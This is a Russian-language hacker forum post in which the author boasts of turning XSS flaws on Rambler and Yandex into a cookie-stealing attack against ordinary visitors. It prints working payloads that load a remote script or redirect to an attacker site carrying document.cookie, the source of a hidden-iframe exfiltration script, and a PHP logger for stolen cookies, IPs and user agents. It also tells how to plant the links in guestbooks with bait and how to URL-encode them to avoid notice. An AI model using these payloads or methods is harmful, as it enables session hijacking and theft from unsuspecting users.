В один из приятных летних вечеров я, как обычно =), зашел на один из форумов по инф. безопасности...Зашел в раздел XSS, увидел туеву хучу уязвимостей на разных сайтах. Ну, подумал я, не любоваться же на них, и начал искать известный сайтик, чтобы провести полноценную атаку =) Но, собственно, меня не интересовали сайты типа kirpich.org.com.net.ru или forum.gallery.garazhiki.us.ua.up.ui.ut, а хотелось чего-то более известного и раскрученного, чем пользуются большинство обычных юзеров...Вскоре на страницах форума я нашёл xss на яндексе и рамблере, что не могло не радовать =)
Вот они:
http://www.rambler.ru/db/support/feedback.shtml?name="<script>alert(/hello, dear ser!!!/)</script> http://www.nco.yandex.ru/?&sort=<script><script>alert(/hello, deaD user!!!/)</script>Дальше...
Надо их использовать для своих целей, правильно? А иначе нахрена бы они нам сдались =) Так вот, немного подумав, переписал XSS следующим образом:
http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script> http://www.nco.yandex.ru/?&sort=<script><script>document.location.replace('http://mysite.ru/ rec.php?'+document.cookie );</script>
Даже не спрашивайте, почему я написал по-разному...Сам хз, так легли звёзды =)
Разберём XSS на www.rambler.ru:
http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script>Здесь, вместо банального alert(/hello, юзер/) я вставил код, который загружает js-скрипт с другого сайта...В 1.js я написал скрипт, который вставляет на страницу скрытый фрейм. Фрейм, в свою очередь, обращается к пхп скрипту на сайте
src="'+'http://mysite.ru/rec.php'+'?['+location.host+']:'+document.cookie+'";
Т.е. он отправляет GET-запрос на сайт с параметром
h=['+location.host+']:'+document.cookie+В этом параметре передаются хост, с которого был отправлен запрос и, самое важное, cookie юзера. Все эти данные обрабатываются пхп-скриптом и представляются в читабельном виде =) (о пхп дальше...)
Вот сорц самого 1.js:
document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://mysite.ru/rec.php'+'?['+location.host+']:'+document.cookie+'"></iframe>');
Теперь разберём XSS на яндексе:
http://www.nco.yandex.ru/?&sort=<script><script>document.location.replace('http://mysite.ru/ rec.php?'+document.cookie);</script>Здесь я не стал загружать скрипт с удалённого сайта, как в первом случае, а написал сам скрипт, который перенаправляет броузер на мой сайт и передает куки юзера пхп-скрипту...
И самое главное, разберём, что же написано в самом пхп-скрипте:
<?php $fp = fopen("cookies.html","a"); fputs($fp, " <br><br><br>_________[".date("d.m.y H:i")."]<br>". $_SERVER['QUERY_STRING']."<br><br>". " USER_AGENT: " .$_SERVER["HTTP_USER_AGENT"]."<br>". " REMOTE_ADDR: " .$_SERVER["REMOTE_ADDR"]."<br>". " HTTP_REFERER: " .$_SERVER["HTTP_REFERER"] ); } fclose($fp); echo "<script>document.location.replace('http://google.com');</script>"; ?>Последней строчкой кода, я перенаправляю страницу с моего сайта на гугль, хы =), далеко не каждый пользователь запалит, что он был на моём сайте, и офигеет, увидев, что он попал на гугль =)
После всего проделанного выше, регистрируемся на любом бесплатном хостинге с поддержкой пхп и размещаем в нужном месте нужные файлы. Как делал я: потом брал мои подготовленные XSS-ссылки, искал пару-тройку гостевых книг и писал там, что всякую лабуду, затрагивающие простые человеческое качества-интерес, страх и лень, и вставлял ссылки =)
После проведения атаки у нас остаются логи, прилизительно следующего содержания:
_________[05.09.07 15:12] h=[www.some_site.ru]:hotlog=1 USER_AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 REMOTE_ADDR: 111.111.111.111 HTTP_REFERER: Field blocked by Outpost Firewall (http://www.agnitum.com)
Для меньшего запаливания xss-ссылок можно использовать перекодировку. например xss на яндексе после не сложного шифрования будет иметь такой вид:
http://www.nco.yandex.ru/?&sort=<script%3E%3C%73%63%72%69%70% 74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70% 6C%61%63%65%28%27%68%74%74%70%3A%2F%2F%6D%79%73%69%74%65%2E%72%75%2F% 72%65%63%2E%70%68%70%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B% 69%65%29%3B%3C%2F%73%63%72%69%70%74%3E
Вот, собственно всё. Если есть замечания или пожелания, пишите здесь или в асю. С наилучшими пожеланиями, FoST 8-794-038.